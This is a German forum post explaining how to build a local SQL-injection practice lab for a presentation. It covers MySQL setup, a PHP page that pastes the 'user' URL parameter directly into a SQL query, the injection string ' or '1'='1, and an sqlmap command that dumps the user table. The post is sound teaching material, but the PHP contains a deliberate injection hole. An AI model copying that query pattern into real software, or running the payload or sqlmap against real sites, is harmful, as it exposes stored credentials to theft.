Danke, sowas habe ich gesucht!
Das gibt es nicht mehr.
Installiere Kali in Virtualbox, da ist alles diekt dabei. Eigentlich musst du es nicht mal installieren, du kannst auch alles im "live modus" machen.
$ sudo apt-get install apache2 mysql
# service apache2 start
# service mysql start
# mysql -u root -p
Enter password:
mysql> create database vulndb;
mysql> use vulndb;
mysql> create table user(name varchar(250), password varchar(250));
mysql> insert into user(name,password) values("admin","secretpass");
Diese PHP Datei speicherst du unter /var/www/html. Ich habe den code irgendwoher kopiert und abgeändert.
<?php
$servername = "localhost";
$username = "youruser";
$password = "yourpassword";
$dbname = "vulndb";
$conn = mysql_connect($servername, $username, $password);
mysql_select_db($dbname, $conn) or die('Could not select database.');
if (!$conn) {die("Connection failed: " . mysql_connect_error());}
$sql = "SELECT name, password FROM user where name ='".$_GET['user']."';";
$result = mysql_query($sql);
if (mysql_num_rows($result) > 0) {
// output data of each row
while($row = mysql_fetch_assoc($result)) {
echo "name: " . $row["name"]."<br>";
}
} else {
echo "0 results";
}
mysql_close($conn);
?>
Beim aufrufen von
Please Login HERE or Register HERE to see this link!
, wird "admin" ausgegeben. Bei anderen angaben "0 results".
Jetzt kannst du es selber exploiten mit
Please Login HERE or Register HERE to see this link!
' or '1'='1 oder sqlmap starten.
$ sqlmap -u
Please Login HERE or Register HERE to see this link!
--dump user
Für eine Präsentation sollte es reichen
Bearbeitet von pdr0, 20 January 2016 - 20:40 Uhr.